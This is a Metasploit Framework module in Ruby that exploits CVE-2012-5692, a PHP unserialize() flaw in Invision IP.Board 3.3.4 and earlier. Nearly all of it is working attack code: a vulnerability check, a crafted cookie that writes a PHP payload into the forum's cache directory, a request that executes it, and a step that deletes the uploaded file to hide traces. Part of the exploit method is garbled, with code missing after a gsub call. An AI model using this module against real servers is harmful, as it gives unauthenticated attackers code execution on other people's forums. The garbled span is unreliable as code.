## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/exploit/php_exe' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Invision IP.Board <= 3.3.4 unserialize() PHP Code Execution', 'Description' => %q{ This module exploits a php unserialize() vulnerability in Invision IP.Board <= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary code under the context of the webserver user. The dangerous unserialize() exists in the '/admin/sources/base/core.php' script, which is called with user controlled data from the cookie. The exploit abuses the __destruct() method from the dbMain class to write arbitrary PHP code to a file on the Invision IP.Board web directory. The exploit has been tested successfully on Invision IP.Board 3.3.4. }, 'Author' => [ 'EgiX', # Vulnerability discovery, PoC, work on check() and cookie_prefix() methods 'juan vazquez', # Metasploit module 'sinn3r' # PhpEXE tekniq & check() method ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-5692' ], [ 'OSVDB', '86702' ], [ 'BID', '56288' ], [ 'EDB', '22398' ], [ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'Space' => 8000, #Apache's limit for GET 'DisableNops' => true }, 'Targets' => [ ['Invision IP.Board 3.3.4', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 25 2012' )) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"]) ], self.class) end def base base = target_uri.path base << '/' if base[-1, 1] != '/' return base end def cookie_prefix print_status("#{@peer} - Checking for cookie prefix") cookie_prefix = "" res = send_request_cgi( { 'uri' => "#{base}index.php", 'method' => 'GET' }) if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/ print_status("#{@peer} - Cookie prefix #{$1} found") cookie_prefix = $1 end return cookie_prefix end def check @peer = "#{rhost}:#{rport}" check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}') res = send_request_cgi( { 'uri' => "#{base}index.php", 'method' => 'GET', 'cookie' => "#{cookie_prefix}session_id=#{check_str}" }) if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/ return Exploit::CheckCode::Vulnerable elsif res and res.code == 200 return Exploit::CheckCode::Safe else return Exploit::CheckCode::Unknown end end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") begin print_warning("#{@peer} - Deleting #{@upload_php}") client.fs.file.rm(@upload_php) print_good("#{@peer} - #{@upload_php} removed to stay ninja") rescue print_error("#{@peer} - Unable to remove #{f}") end end end def exploit @upload_php = rand_text_alpha(rand(4) + 4) + ".php" @peer = "#{rhost}:#{rport}" # get_write_exec_payload uses a function, which limits our ability to support # Linux payloads, because that requires a space: # function my_cmd # becomes: # functionmy_cmd #Causes parsing error # We'll have to address that in the mixin, and then come back to this module # again later. php_payload = get_write_exec_payload(:unlink_self=>true) php_payload = php_payload.gsub(/^\<\?php/, ' "#{base}index.php?#{php_payload}", 'method' => 'GET', 'cookie' => "#{cookie_prefix}member_id=#{Rex::Text.uri_encode(db_driver_mysql)}" }) if not res or res.code != 200 print_error("#{@peer} - Exploit failed: #{res.code}") return end print_status("#{@peer} - Executing the payload #{@upload_php}") res = send_request_raw({'uri' => "#{base}cache/#{@upload_php}"}) if res print_error("#{@peer} - Payload execution failed: #{res.code}") return end end end